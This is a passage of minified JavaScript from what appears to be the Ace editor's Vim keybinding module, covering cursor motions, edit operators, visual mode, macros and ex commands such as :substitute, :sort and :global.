r=t,i=n.repeat,s=n.forward?r.ch+i:r.ch-i;return E(r.line,s)},moveByLines:function(e,t,n,r){var i=t,s=i.ch;switch(r.lastMotion){case this.moveByLines:case this.moveByDisplayLines:case this.moveByScroll:case this.moveToColumn:case this.moveToEol:s=r.lastHPos;break;default:r.lastHPos=s}var o=n.repeat+(n.repeatOffset||0),u=n.forward?i.line+o:i.line-o,a=e.firstLine(),f=e.lastLine();if(u<a&&i.line==a||u>f&&i.line==f)return;var l=e.ace.session.getFoldLine(u);return l&&(n.forward?u>l.start.row&&(u=l.end.row+1):u=l.start.row),n.toFirstChar&&(s=Qt(e.getLine(u)),r.lastHPos=s),r.lastHSPos=e.charCoords(E(u,s),\"div\").left,E(u,s)},moveByDisplayLines:function(e,t,n,r){var i=t;switch(r.lastMotion){case this.moveByDisplayLines:case this.moveByScroll:case this.moveByLines:case this.moveToColumn:case this.moveToEol:break;default:r.lastHSPos=e.charCoords(i,\"div\").left}var s=n.repeat,o=e.findPosV(i,n.forward?s:-s,\"line\",r.lastHSPos);if(o.hitSide)if(n.forward)var u=e.charCoords(o,\"div\"),a={top:u.top+8,left:r.lastHSPos},o=e.coordsChar(a,\"div\");else{var f=e.charCoords(E(e.firstLine(),0),\"div\");f.left=r.lastHSPos,o=e.coordsChar(f,\"div\")}return r.lastHPos=o.ch,o},moveByPage:function(e,t,n){var r=t,i=n.repeat;return e.findPosV(r,n.forward?i:-i,\"page\")},moveByParagraph:function(e,t,n){var r=n.forward?1:-1;return ln(e,t,n.repeat,r)},moveByScroll:function(e,t,n,r){var i=e.getScrollInfo(),s=null,o=n.repeat;o||(o=i.clientHeight/(2*e.defaultTextHeight()));var u=e.charCoords(t,\"local\");n.repeat=o;var s=pt.moveByDisplayLines(e,t,n,r);if(!s)return null;var a=e.charCoords(s,\"local\");return e.scrollTo(null,i.top+a.top-u.top),s},moveByWords:function(e,t,n){return sn(e,t,n.repeat,!!n.forward,!!n.wordEnd,!!n.bigWord)},moveTillCharacter:function(e,t,n){var r=n.repeat,i=on(e,r,n.forward,n.selectedCharacter),s=n.forward?-1:1;return Zt(s,n),i?(i.ch+=s,i):null},moveToCharacter:function(e,t,n){var r=n.repeat;return Zt(0,n),on(e,r,n.forward,n.selectedCharacter)||t},moveToSymbol:function(e,t,n){var r=n.repeat;return nn(e,r,n.forward,n.selectedCharacter)||t},moveToColumn:function(e,t,n,r){var i=n.repeat;return r.lastHPos=i-1,r.lastHSPos=e.charCoords(t,\"div\").left,un(e,i)},moveToEol:function(e,t,n,r){var i=t;r.lastHPos=Infinity;var s=E(i.line+n.repeat-1,Infinity),o=e.clipPos(s);return o.ch--,r.lastHSPos=e.charCoords(o,\"div\").left,s},moveToFirstNonWhiteSpaceCharacter:function(e,t){var n=t;return E(n.line,Qt(e.getLine(n.line)))},moveToMatchedSymbol:function(e,t){var n=t,r=n.line,i=n.ch,s=e.getLine(r),o;do{o=s.charAt(i++);if(o&&z(o)){var u=e.getTokenTypeAt(E(r,i));if(u!==\"string\"&&u!==\"comment\")break}}while(o);if(o){var a=e.findMatchingBracket(E(r,i));return a.to}return n},moveToStartOfLine:function(e,t){return E(t.line,0)},moveToLineOrEdgeOfDocument:function(e,t,n){var r=n.forward?e.lastLine():e.firstLine();return n.repeatIsExplicit&&(r=n.repeat-e.getOption(\"firstLineNumber\")),E(r,Qt(e.getLine(r)))},textObjectManipulation:function(e,t,n,r){var i={\"(\":\")\",\")\":\"(\",\"{\":\"}\",\"}\":\"{\",\"[\":\"]\",\"]\":\"[\"},s={\"'\":!0,'\"':!0},o=n.selectedCharacter;o==\"b\"?o=\"(\":o==\"B\"&&(o=\"{\");var u=!n.textObjectInner,a;if(i[o])a=cn(e,t,o,u);else if(s[o])a=hn(e,t,o,u);else if(o===\"W\")a=Gt(e,u,!0,!0);else if(o===\"w\")a=Gt(e,u,!0,!1);else{if(o!==\"p\")return null;a=ln(e,t,n.repeat,0,u),n.linewise=!0;if(r.visualMode)r.visualLine||(r.visualLine=!0);else{var f=r.inputState.operatorArgs;f&&(f.linewise=!0),a.end.line--}}return e.state.vim.visualMode?zt(e,a.start,a.end):[a.start,a.end]},repeatLastCharacterSearch:function(e,t,n){var r=nt.lastChararacterSearch,i=n.repeat,s=n.forward===r.forward,o=(r.increment?1:0)*(s?-1:1);e.moveH(-o,\"char\"),n.inclusive=s?!0:!1;var u=on(e,i,s,r.selectedCharacter);return u?(u.ch+=o,u):(e.moveH(o,\"char\"),t)}},mt={change:function(e,t,n){var r,i,s=e.state.vim;nt.macroModeState.lastInsertModeChanges.inVisualBlock=s.visualBlock;if(!s.visualMode){var o=n[0].anchor,u=n[0].head;i=e.getRange(o,u);var a=s.lastEditInputState||{};if(a.motion==\"moveByWords\"&&!V(i)){var f=/\\s+$/.exec(i);f&&a.motionArgs&&a.motionArgs.forward&&(u=St(u,0,-f[0].length),i=i.slice(0,-f[0].length))}var l=u.line-1==e.lastLine();e.replaceRange(\"\",o,u),t.linewise&&!l&&(v.commands.newlineAndIndent(e),o.ch=null),r=o}else{i=e.getSelection();var c=vt(\"\",n.length);e.replaceSelections(c),r=Mt(n[0].head,n[0].anchor)}nt.registerController.pushText(t.registerName,\"change\",i,t.linewise,n.length>1),yt.enterInsertMode(e,{head:r},e.state.vim)},\"delete\":function(e,t,n){var r,i,s=e.state.vim;if(!s.visualBlock){var o=n[0].anchor,u=n[0].head;t.linewise&&u.line!=e.firstLine()&&o.line==e.lastLine()&&o.line==u.line-1&&(o.line==e.firstLine()?o.ch=0:o=E(o.line-1,Pt(e,o.line-1))),i=e.getRange(o,u),e.replaceRange(\"\",o,u),r=o,t.linewise&&(r=pt.moveToFirstNonWhiteSpaceCharacter(e,o))}else{i=e.getSelection();var a=vt(\"\",n.length);e.replaceSelections(a),r=n[0].anchor}return nt.registerController.pushText(t.registerName,\"delete\",i,t.linewise,s.visualBlock),wt(e,r)},indent:function(e,t,n){var r=e.state.vim,i=n[0].anchor.line,s=r.visualBlock?n[n.length-1].anchor.line:n[0].head.line,o=r.visualMode?t.repeat:1;t.linewise&&s--;for(var u=i;u<=s;u++)for(var a=0;a<o;a++)e.indentLine(u,t.indentRight);return pt.moveToFirstNonWhiteSpaceCharacter(e,n[0].anchor)},changeCase:function(e,t,n,r,i){var s=e.getSelections(),o=[],u=t.toLower;for(var a=0;a<s.length;a++){var f=s[a],l=\"\";if(u===!0)l=f.toLowerCase();else if(u===!1)l=f.toUpperCase();else for(var c=0;c<f.length;c++){var h=f.charAt(c);l+=X(h)?h.toLowerCase():h.toUpperCase()}o.push(l)}return e.replaceSelections(o),t.shouldMoveCursor?i:!e.state.vim.visualMode&&t.linewise&&n[0].anchor.line+1==n[0].head.line?pt.moveToFirstNonWhiteSpaceCharacter(e,r):t.linewise?r:Mt(n[0].anchor,n[0].head)},yank:function(e,t,n,r){var i=e.state.vim,s=e.getSelection(),o=i.visualMode?Mt(i.sel.anchor,i.sel.head,n[0].head,n[0].anchor):r;return nt.registerController.pushText(t.registerName,\"yank\",s,t.linewise,i.visualBlock),o}},yt={jumpListWalk:function(e,t,n){if(n.visualMode)return;var r=t.repeat,i=t.forward,s=nt.jumpList,o=s.move(e,i?r:-r),u=o?o.find():undefined;u=u?u:e.getCursor(),e.setCursor(u),e.ace.curOp.command.scrollIntoView=\"center-animate\"},scroll:function(e,t,n){if(n.visualMode)return;var r=t.repeat||1,i=e.defaultTextHeight(),s=e.getScrollInfo().top,o=i*r,u=t.forward?s+o:s-o,a=Lt(e.getCursor()),f=e.charCoords(a,\"local\");if(t.forward)u>f.top?(a.line+=(u-f.top)/i,a.line=Math.ceil(a.line),e.setCursor(a),f=e.charCoords(a,\"local\"),e.scrollTo(null,f.top)):e.scrollTo(null,u);else{var l=u+e.getScrollInfo().clientHeight;l<f.bottom?(a.line-=(f.bottom-l)/i,a.line=Math.floor(a.line),e.setCursor(a),f=e.charCoords(a,\"local\"),e.scrollTo(null,f.bottom-e.getScrollInfo().clientHeight)):e.scrollTo(null,u)}},scrollToCursor:function(e,t){var n=e.getCursor().line,r=e.charCoords(E(n,0),\"local\"),i=e.getScrollInfo().clientHeight,s=r.top,o=r.bottom-s;switch(t.position){case\"center\":s=s-i/2+o;break;case\"bottom\":s=s-i+o*1.4;break;case\"top\":s+=o*.4}e.scrollTo(null,s)},replayMacro:function(e,t,n){var r=t.selectedCharacter,i=t.repeat,s=nt.macroModeState;r==\"@\"&&(r=s.latestRegister);while(i--)zn(e,n,s,r)},enterMacroRecordMode:function(e,t){var n=nt.macroModeState,r=t.selectedCharacter;n.enterMacroRecordMode(e,r)},enterInsertMode:function(e,t,n){if(e.getOption(\"readOnly\"))return;n.insertMode=!0,n.insertModeRepeat=t&&t.repeat||1;var r=t?t.insertAt:null,i=n.sel,s=t.head||e.getCursor(\"head\"),o=e.listSelections().length;if(r==\"eol\")s=E(s.line,Pt(e,s.line));else if(r==\"charAfter\")s=St(s,0,1);else if(r==\"firstNonBlank\")s=pt.moveToFirstNonWhiteSpaceCharacter(e,s);else if(r==\"startOfSelectedArea\")n.visualBlock?(s=E(Math.min(i.head.line,i.anchor.line),Math.min(i.head.ch,i.anchor.ch)),o=Math.abs(i.head.line-i.anchor.line)+1):i.head.line<i.anchor.line?s=i.head:s=E(i.anchor.line,0);else if(r==\"endOfSelectedArea\")n.visualBlock?(s=E(Math.min(i.head.line,i.anchor.line),Math.max(i.head.ch+1,i.anchor.ch)),o=Math.abs(i.head.line-i.anchor.line)+1):i.head.line>=i.anchor.line?s=St(i.head,0,1):s=E(i.anchor.line,0);else if(r==\"inplace\"&&n.visualMode)return;e.setOption(\"keyMap\",\"vim-insert\"),e.setOption(\"disableInput\",!1),t&&t.replace?(e.toggleOverwrite(!0),e.setOption(\"keyMap\",\"vim-replace\"),v.signal(e,\"vim-mode-change\",{mode:\"replace\"})):(e.setOption(\"keyMap\",\"vim-insert\"),v.signal(e,\"vim-mode-change\",{mode:\"insert\"})),nt.macroModeState.isPlaying||(e.on(\"change\",$n),v.on(e.getInputField(),\"keydown\",Yn)),n.visualMode&&$t(e),It(e,s,o)},toggleVisualMode:function(e,t,n){var r=t.repeat,i=e.getCursor(),s;n.visualMode?n.visualLine^t.linewise||n.visualBlock^t.blockwise?(n.visualLine=!!t.linewise,n.visualBlock=!!t.blockwise,v.signal(e,\"vim-mode-change\",{mode:\"visual\",subMode:n.visualLine?\"linewise\":n.visualBlock?\"blockwise\":\"\"}),Wt(e)):$t(e):(n.visualMode=!0,n.visualLine=!!t.linewise,n.visualBlock=!!t.blockwise,s=wt(e,E(i.line,i.ch+r-1),!0),n.sel={anchor:i,head:s},v.signal(e,\"vim-mode-change\",{mode:\"visual\",subMode:n.visualLine?\"linewise\":n.visualBlock?\"blockwise\":\"\"}),Wt(e),an(e,n,\"<\",Mt(i,s)),an(e,n,\">\",_t(i,s)))},reselectLastSelection:function(e,t,n){var r=n.lastSelection;n.visualMode&&Ut(e,n);if(r){var i=r.anchorMark.find(),s=r.headMark.find();if(!i||!s)return;n.sel={anchor:i,head:s},n.visualMode=!0,n.visualLine=r.visualLine,n.visualBlock=r.visualBlock,Wt(e),an(e,n,\"<\",Mt(i,s)),an(e,n,\">\",_t(i,s)),v.signal(e,\"vim-mode-change\",{mode:\"visual\",subMode:n.visualLine?\"linewise\":n.visualBlock?\"blockwise\":\"\"})}},joinLines:function(e,t,n){var r,i;if(n.visualMode){r=e.getCursor(\"anchor\"),i=e.getCursor(\"head\");if(Ot(i,r)){var s=i;i=r,r=s}i.ch=Pt(e,i.line)-1}else{var o=Math.max(t.repeat,2);r=e.getCursor(),i=wt(e,E(r.line+o-1,Infinity))}var u=0;for(var a=r.line;a<i.line;a++){u=Pt(e,r.line);var s=E(r.line+1,Pt(e,r.line+1)),f=e.getRange(r,s);f=f.replace(/\\n\\s*/g,\" \"),e.replaceRange(f,r,s)}var l=E(r.line,u);n.visualMode&&$t(e,!1),e.setCursor(l)},newLineAndEnterInsertMode:function(e,t,n){n.insertMode=!0;var r=Lt(e.getCursor());if(r.line===e.firstLine()&&!t.after)e.replaceRange(\"\\n\",E(e.firstLine(),0)),e.setCursor(e.firstLine(),0);else{r.line=t.after?r.line:r.line-1,r.ch=Pt(e,r.line),e.setCursor(r);var i=v.commands.newlineAndIndentContinueComment||v.commands.newlineAndIndent;i(e)}this.enterInsertMode(e,{repeat:t.repeat},n)},paste:function(e,t,n){var r=Lt(e.getCursor()),i=nt.registerController.getRegister(t.registerName),s=i.toString();if(!s)return;if(t.matchIndent){var o=e.getOption(\"tabSize\"),u=function(e){var t=e.split(\"\t\").length-1,n=e.split(\" \").length-1;return t*o+n*1},a=e.getLine(e.getCursor().line),f=u(a.match(/^\\s*/)[0]),l=s.replace(/\\n$/,\"\"),c=s!==l,h=u(s.match(/^\\s*/)[0]),s=l.replace(/^\\s*/gm,function(t){var n=f+(u(t)-h);if(n<0)return\"\";if(e.getOption(\"indentWithTabs\")){var r=Math.floor(n/o);return Array(r+1).join(\"\t\")}return Array(n+1).join(\" \")});s+=c?\"\\n\":\"\"}if(t.repeat>1)var s=Array(t.repeat+1).join(s);var p=i.linewise,d=i.blockwise;if(p&&!d)n.visualMode?s=n.visualLine?s.slice(0,-1):\"\\n\"+s.slice(0,s.length-1)+\"\\n\":t.after?(s=\"\\n\"+s.slice(0,s.length-1),r.ch=Pt(e,r.line)):r.ch=0;else{if(d){s=s.split(\"\\n\");for(var v=0;v<s.length;v++)s[v]=s[v]==\"\"?\" \":s[v]}r.ch+=t.after?1:0}var m,g;if(n.visualMode){n.lastPastedText=s;var y,b=Rt(e,n),w=b[0],S=b[1],x=e.getSelection(),T=e.listSelections(),N=(new Array(T.length)).join(\"1\").split(\"1\");n.lastSelection&&(y=n.lastSelection.headMark.find()),nt.registerController.unnamedRegister.setText(x),d?(e.replaceSelections(N),S=E(w.line+s.length-1,w.ch),e.setCursor(w),Ft(e,S),e.replaceSelections(s),m=w):n.visualBlock?(e.replaceSelections(N),e.setCursor(w),e.replaceRange(s,w,w),m=w):(e.replaceRange(s,w,S),m=e.posFromIndex(e.indexFromPos(w)+s.length-1)),y&&(n.lastSelection.headMark=e.setBookmark(y)),p&&(m.ch=0)}else if(d){e.setCursor(r);for(var v=0;v<s.length;v++){var C=r.line+v;C>e.lastLine()&&e.replaceRange(\"\\n\",E(C,0));var k=Pt(e,C);k<r.ch&&jt(e,C,r.ch)}e.setCursor(r),Ft(e,E(r.line+s.length-1,r.ch)),e.replaceSelections(s),m=r}else e.replaceRange(s,r),p&&t.after?m=E(r.line+1,Qt(e.getLine(r.line+1))):p&&!t.after?m=E(r.line,Qt(e.getLine(r.line))):!p&&t.after?(g=e.indexFromPos(r),m=e.posFromIndex(g+s.length-1)):(g=e.indexFromPos(r),m=e.posFromIndex(g+s.length));n.visualMode&&$t(e,!1),e.setCursor(m)},undo:function(e,t){e.operation(function(){kt(e,v.commands.undo,t.repeat)(),e.setCursor(e.getCursor(\"anchor\"))})},redo:function(e,t){kt(e,v.commands.redo,t.repeat)()},setRegister:function(e,t,n){n.inputState.registerName=t.selectedCharacter},setMark:function(e,t,n){var r=t.selectedCharacter;an(e,n,r,e.getCursor())},replace:function(e,t,n){var r=t.selectedCharacter,i=e.getCursor(),s,o,u=e.listSelections();if(n.visualMode)i=e.getCursor(\"start\"),o=e.getCursor(\"end\");else{var a=e.getLine(i.line);s=i.ch+t.repeat,s>a.length&&(s=a.length),o=E(i.line,s)}if(r==\"\\n\")n.visualMode||e.replaceRange(\"\",i,o),(v.commands.newlineAndIndentContinueComment||v.commands.newlineAndIndent)(e);else{var f=e.getRange(i,o);f=f.replace(/[^\\n]/g,r);if(n.visualBlock){var l=(new Array(e.getOption(\"tabSize\")+1)).join(\" \");f=e.getSelection(),f=f.replace(/\\t/g,l).replace(/[^\\n]/g,r).split(\"\\n\"),e.replaceSelections(f)}else e.replaceRange(f,i,o);n.visualMode?(i=Ot(u[0].anchor,u[0].head)?u[0].anchor:u[0].head,e.setCursor(i),$t(e,!1)):e.setCursor(St(o,0,-1))}},incrementNumberToken:function(e,t){var n=e.getCursor(),r=e.getLine(n.line),i=/-?\\d+/g,s,o,u,a,f;while((s=i.exec(r))!==null){f=s[0],o=s.index,u=o+f.length;if(n.ch<u)break}if(!t.backtrack&&u<=n.ch)return;if(!f)return;var l=t.increase?1:-1,c=parseInt(f)+l*t.repeat,h=E(n.line,o),p=E(n.line,u);a=c.toString(),e.replaceRange(a,h,p),e.setCursor(E(n.line,o+a.length-1))},repeatLastEdit:function(e,t,n){var r=n.lastEditInputState;if(!r)return;var i=t.repeat;i&&t.repeatIsExplicit?n.lastEditInputState.repeatOverride=i:i=n.lastEditInputState.repeatOverride||i,Zn(e,n,i,!1)},exitInsertMode:qn},en={\"(\":\"bracket\",\")\":\"bracket\",\"{\":\"bracket\",\"}\":\"bracket\",\"[\":\"section\",\"]\":\"section\",\"*\":\"comment\",\"/\":\"comment\",m:\"method\",M:\"method\",\"#\":\"preprocess\"},tn={bracket:{isComplete:function(e){if(e.nextCh===e.symb){e.depth++;if(e.depth>=1)return!0}else e.nextCh===e.reverseSymb&&e.depth--;return!1}},section:{init:function(e){e.curMoveThrough=!0,e.symb=(e.forward?\"]\":\"[\")===e.symb?\"{\":\"}\"},isComplete:function(e){return e.index===0&&e.nextCh===e.symb}},comment:{isComplete:function(e){var t=e.lastCh===\"*\"&&e.nextCh===\"/\";return e.lastCh=e.nextCh,t}},method:{init:function(e){e.symb=e.symb===\"m\"?\"{\":\"}\",e.reverseSymb=e.symb===\"{\"?\"}\":\"{\"},isComplete:function(e){return e.nextCh===e.symb?!0:!1}},preprocess:{init:function(e){e.index=0},isComplete:function(e){if(e.nextCh===\"#\"){var t=e.lineText.match(/#(\\w+)/)[1];if(t===\"endif\"){if(e.forward&&e.depth===0)return!0;e.depth++}else if(t===\"if\"){if(!e.forward&&e.depth===0)return!0;e.depth--}if(t===\"else\"&&e.depth===0)return!0}return!1}}};K(\"pcre\",!0,\"boolean\"),pn.prototype={getQuery:function(){return nt.query},setQuery:function(e){nt.query=e},getOverlay:function(){return this.searchOverlay},setOverlay:function(e){this.searchOverlay=e},isReversed:function(){return nt.isReversed},setReversed:function(e){nt.isReversed=e},getScrollbarAnnotate:function(){return this.annotate},setScrollbarAnnotate:function(e){this.annotate=e}};var bn={\"\\\\n\":\"\\n\",\"\\\\r\":\"\\r\",\"\\\\t\":\"\t\"},En={\"\\\\/\":\"/\",\"\\\\\\\\\":\"\\\\\",\"\\\\n\":\"\\n\",\"\\\\r\":\"\\r\",\"\\\\t\":\"\t\"},Cn=\"(Javascript regexp)\",Bn=function(){this.buildCommandMap_()};Bn.prototype={processCommand:function(e,t,n){var r=this;e.operation(function(){e.curOp.isVimOp=!0,r._processCommand(e,t,n)})},_processCommand:function(e,t,n){var r=e.state.vim,i=nt.registerController.getRegister(\":\"),s=i.toString();r.visualMode&&$t(e);var o=new v.StringStream(t);i.setText(t);var u=n||{};u.input=t;try{this.parseInput_(e,o,u)}catch(a){throw Tn(e,a),a}var f,l;if(!u.commandName)u.line!==undefined&&(l=\"move\");else{f=this.matchCommand_(u.commandName);if(f){l=f.name,f.excludeFromCommandHistory&&i.setText(s),this.parseCommandArgs_(o,u,f);if(f.type==\"exToKey\"){for(var c=0;c<f.toKeys.length;c++)v.Vim.handleKey(e,f.toKeys[c],\"mapping\");return}if(f.type==\"exToEx\"){this.processCommand(e,f.toInput);return}}}if(!l){Tn(e,'Not an editor command \":'+t+'\"');return}try{jn[l](e,u),(!f||!f.possiblyAsync)&&u.callback&&u.callback()}catch(a){throw Tn(e,a),a}},parseInput_:function(e,t,n){t.eatWhile(\":\"),t.eat(\"%\")?(n.line=e.firstLine(),n.lineEnd=e.lastLine()):(n.line=this.parseLineSpec_(e,t),n.line!==undefined&&t.eat(\",\")&&(n.lineEnd=this.parseLineSpec_(e,t)));var r=t.match(/^(\\w+)/);return r?n.commandName=r[1]:n.commandName=t.match(/.*/)[0],n},parseLineSpec_:function(e,t){var n=t.match(/^(\\d+)/);if(n)return parseInt(n[1],10)-1;switch(t.next()){case\".\":return e.getCursor().line;case\"$\":return e.lastLine();case\"'\":var r=e.state.vim.marks[t.next()];if(r&&r.find())return r.find().line;throw new Error(\"Mark not set\");default:return t.backUp(1),undefined}},parseCommandArgs_:function(e,t,n){if(e.eol())return;t.argString=e.match(/.*/)[0];var r=n.argDelimiter||/\\s+/,i=Ht(t.argString).split(r);i.length&&i[0]&&(t.args=i)},matchCommand_:function(e){for(var t=e.length;t>0;t--){var n=e.substring(0,t);if(this.commandMap_[n]){var r=this.commandMap_[n];if(r.name.indexOf(e)===0)return r}}return null},buildCommandMap_:function(){this.commandMap_={};for(var e=0;e<w.length;e++){var t=w[e],n=t.shortName||t.name;this.commandMap_[n]=t}},map:function(e,t,n){if(e!=\":\"&&e.charAt(0)==\":\"){if(n)throw Error(\"Mode not supported for ex mappings\");var r=e.substring(1);t!=\":\"&&t.charAt(0)==\":\"?this.commandMap_[r]={name:r,type:\"exToEx\",toInput:t.substring(1),user:!0}:this.commandMap_[r]={name:r,type:\"exToKey\",toKeys:t,user:!0}}else if(t!=\":\"&&t.charAt(0)==\":\"){var i={keys:e,type:\"keyToEx\",exArgs:{input:t.substring(1)},user:!0};n&&(i.context=n),b.unshift(i)}else{var i={keys:e,type:\"keyToKey\",toKeys:t,user:!0};n&&(i.context=n),b.unshift(i)}},unmap:function(e,t){if(e!=\":\"&&e.charAt(0)==\":\"){if(t)throw Error(\"Mode not supported for ex mappings\");var n=e.substring(1);if(this.commandMap_[n]&&this.commandMap_[n].user){delete this.commandMap_[n];return}}else{var r=e;for(var i=0;i<b.length;i++)if(r==b[i].keys&&b[i].context===t&&b[i].user){b.splice(i,1);return}}throw Error(\"No such mapping.\")}};var jn={colorscheme:function(e,t){if(!t.args||t.args.length<1){Tn(e,e.getOption(\"theme\"));return}e.setOption(\"theme\",t.args[0])},map:function(e,t,n){var r=t.args;if(!r||r.length<2){e&&Tn(e,\"Invalid mapping: \"+t.input);return}Fn.map(r[0],r[1],n)},imap:function(e,t){this.map(e,t,\"insert\")},nmap:function(e,t){this.map(e,t,\"normal\")},vmap:function(e,t){this.map(e,t,\"visual\")},unmap:function(e,t,n){var r=t.args;if(!r||r.length<1){e&&Tn(e,\"No such mapping: \"+t.input);return}Fn.unmap(r[0],n)},move:function(e,t){ht.processCommand(e,e.state.vim,{type:\"motion\",motion:\"moveToLineOrEdgeOfDocument\",motionArgs:{forward:!1,explicitRepeat:!0,linewise:!0},repeatOverride:t.line+1})},set:function(e,t){var n=t.args,r=t.setCfg||{};if(!n||n.length<1){e&&Tn(e,\"Invalid mapping: \"+t.input);return}var i=n[0].split(\"=\"),s=i[0],o=i[1],u=!1;if(s.charAt(s.length-1)==\"?\"){if(o)throw Error(\"Trailing characters: \"+t.argString);s=s.substring(0,s.length-1),u=!0}o===undefined&&s.substring(0,2)==\"no\"&&(s=s.substring(2),o=!1);var a=J[s]&&J[s].type==\"boolean\";a&&o==undefined&&(o=!0);if(!a&&o===undefined||u){var f=G(s,e,r);f===!0||f===!1?Tn(e,\" \"+(f?\"\":\"no\")+s):Tn(e,\"  \"+s+\"=\"+f)}else Q(s,o,e,r)},setlocal:function(e,t){t.setCfg={scope:\"local\"},this.set(e,t)},setglobal:function(e,t){t.setCfg={scope:\"global\"},this.set(e,t)},registers:function(e,t){var n=t.args,r=nt.registerController.registers,i=\"----------Registers----------<br><br>\";if(!n)for(var s in r){var o=r[s].toString();o.length&&(i+='\"'+s+\"    \"+o+\"<br>\")}else{var s;n=n.join(\"\");for(var u=0;u<n.length;u++){s=n.charAt(u);if(!nt.registerController.isValidRegister(s))continue;var a=r[s]||new at;i+='\"'+s+\"    \"+a.toString()+\"<br>\"}}Tn(e,i)},sort:function(e,t){function o(){if(t.argString){var e=new v.StringStream(t.argString);e.eat(\"!\")&&(n=!0);if(e.eol())return;if(!e.eatSpace())return\"Invalid arguments\";var o=e.match(/[a-z]+/);if(o){o=o[0],r=o.indexOf(\"i\")!=-1,i=o.indexOf(\"u\")!=-1;var u=o.indexOf(\"d\")!=-1&&1,a=o.indexOf(\"x\")!=-1&&1,f=o.indexOf(\"o\")!=-1&&1;if(u+a+f>1)return\"Invalid arguments\";s=u&&\"decimal\"||a&&\"hex\"||f&&\"octal\"}e.eatSpace()&&e.match(/\\/.*\\//)&&\"patterns not supported\"}}function b(e,t){if(n){var i;i=e,e=t,t=i}r&&(e=e.toLowerCase(),t=t.toLowerCase());var o=s&&p.exec(e),u=s&&p.exec(t);return o?(o=parseInt((o[1]+o[2]).toLowerCase(),d),u=parseInt((u[1]+u[2]).toLowerCase(),d),o-u):e<t?-1:1}var n,r,i,s,u=o();if(u){Tn(e,u+\": \"+t.argString);return}var a=t.line||e.firstLine(),f=t.lineEnd||t.line||e.lastLine();if(a==f)return;var l=E(a,0),c=E(f,Pt(e,f)),h=e.getRange(l,c).split(\"\\n\"),p=s==\"decimal\"?/(-?)([\\d]+)/:s==\"hex\"?/(-?)(?:0x)?([0-9a-f]+)/i:s==\"octal\"?/([0-7]+)/:null,d=s==\"decimal\"?10:s==\"hex\"?16:s==\"octal\"?8:null,m=[],g=[];if(s)for(var y=0;y<h.length;y++)p.exec(h[y])?m.push(h[y]):g.push(h[y]);else g=h;m.sort(b),g.sort(b),h=n?m.concat(g):g.concat(m);if(i){var w=h,S;h=[];for(var y=0;y<w.length;y++)w[y]!=S&&h.push(w[y]),S=w[y]}e.replaceRange(h.join(\"\\n\"),l,c)},global:function(e,t){var n=t.argString;if(!n){Tn(e,\"Regular Expression missing from global\");return}var r=t.line!==undefined?t.line:e.firstLine(),i=t.lineEnd||t.line||e.lastLine(),s=mn(n),o=n,u;s.length&&(o=s[0],u=s.slice(1,s.length).join(\"/\"));if(o)try{An(e,o,!0,!0)}catch(a){Tn(e,\"Invalid regex: \"+o);return}var f=dn(e).getQuery(),l=[],c=\"\";for(var h=r;h<=i;h++){var p=f.test(e.getLine(h));p&&(l.push(h+1),c+=e.getLine(h)+\"<br>\")}if(!u){Tn(e,c);return}var d=0,v=function(){if(d<l.length){var t=l[d]+u;Fn.processCommand(e,t,{callback:v})}d++};v()},substitute:function(e,t){if(!e.getSearchCursor)throw new Error(\"Search feature not available. Requires searchcursor.js or any other getSearchCursor implementation.\");var n=t.argString,r=n?mn(n):[],i,s=\"\",o,u,a,f=!1,l=!1;if(r.length)i=r[0],s=r[1],s!==undefined&&(G(\"pcre\")?s=Sn(s):s=wn(s),nt.lastSubstituteReplacePart=s),o=r[2]?r[2].split(\" \"):[];else if(n&&n.length){Tn(e,\"Substitutions should be of the form :s/pattern/replace/\");return}o&&(u=o[0],a=parseInt(o[1]),u&&(u.indexOf(\"c\")!=-1&&(f=!0,u.replace(\"c\",\"\")),u.indexOf(\"g\")!=-1&&(l=!0,u.replace(\"g\",\"\")),i=i+\"/\"+u));if(i)try{An(e,i,!0,!0)}catch(c){Tn(e,\"Invalid regex: \"+i);return}s=s||nt.lastSubstituteReplacePart;if(s===undefined){Tn(e,\"No previous substitute regular expression\");return}var h=dn(e),p=h.getQuery(),d=t.line!==undefined?t.line:e.getCursor().line,v=t.lineEnd||d;d==e.firstLine()&&v==e.lastLine()&&(v=Infinity),a&&(d=v,v=d+a-1);var m=wt(e,E(d,0)),g=e.getSearchCursor(p,m);In(e,f,l,d,v,g,p,s,t.callback)},redo:v.commands.redo,undo:v.commands.undo,write:function(e){v.commands.save?v.commands.save(e):e.save()},nohlsearch:function(e){Dn(e)},delmarks:function(e,t){if(!t.argString||!Ht(t.argString)){Tn(e,\"Argument required\");return}var n=e.state.vim,r=new v.StringStream(Ht(t.argString));while(!r.eol()){r.eatSpace();var i=r.pos;if(!r.match(/[a-zA-Z]/,!1)){Tn(e,\"Invalid argument: \"+t.argString.substring(i));return}var s=r.next();if(r.match(\"-\",!0)){if(!r.match(/[a-zA-Z]/,!1)){Tn(e,\"Invalid argument: \"+t.argString.substring(i));return}var o=s,u=r.next();if(!(U(o)&&U(u)||X(o)&&X(u))){Tn(e,\"Invalid argument: \"+o+\"-\");return}var a=o.charCodeAt(0),f=u.charCodeAt(0);if(a>=f){Tn(e,\"Invalid argument: \"+t.argString.substring(i));return}for(var l=0;l<=f-a;l++){var c=String.fromCharCode(a+l);delete n.marks[c]}}else delete n.marks[s]}}},Fn=new Bn;v.keyMap.vim={attach:C,detach:N,call:k},K(\"insertModeEscKeysTimeout\",200,\"number\"),v.keyMap[\"vim-insert\"]={\"Ctrl-N\":\"autocomplete\",\"Ctrl-P\":\"autocomplete\",Enter:function(e){var t=v.commands.newlineAndIndentContinueComment||v.commands.newlineAndIndent;t(e)},fallthrough:[\"default\"],attach:C,detach:N,call:k},v.keyMap[\"vim-replace\"]={Backspace:\"goCharLeft\",fallthrough:[\"vim-insert\"],attach:C,detach:N,call:k},rt(),v.Vim=S(),S=v.Vim;var tr={\"return\":\"CR\",backspace:\"BS\",\"delete\":\"Del\",esc:\"Esc\",left:\"Left\",right:\"Right\",up:\"Up\",down:\"Down\",space:\"Space\",home:\"Home\",end:\"End\",pageup:\"PageUp\",pagedown:\"PageDown\",enter:\"CR\"},rr=S.handleKey.bind(S);S.handleKey=function(e,t,n){return e.operation(function(){return rr(e,t,n)},!0)},t.CodeMirror=v;var or=S.maybeInitVimState_;t.handler={$id:\"ace/keyboard/vim\",drawCursor:function(e,t,n,r,s){var o=this.state.vim||{},u=n.characterWidth,a=n.lineHeight,f=t.top,l=t.left;if(!o.insertMode){var 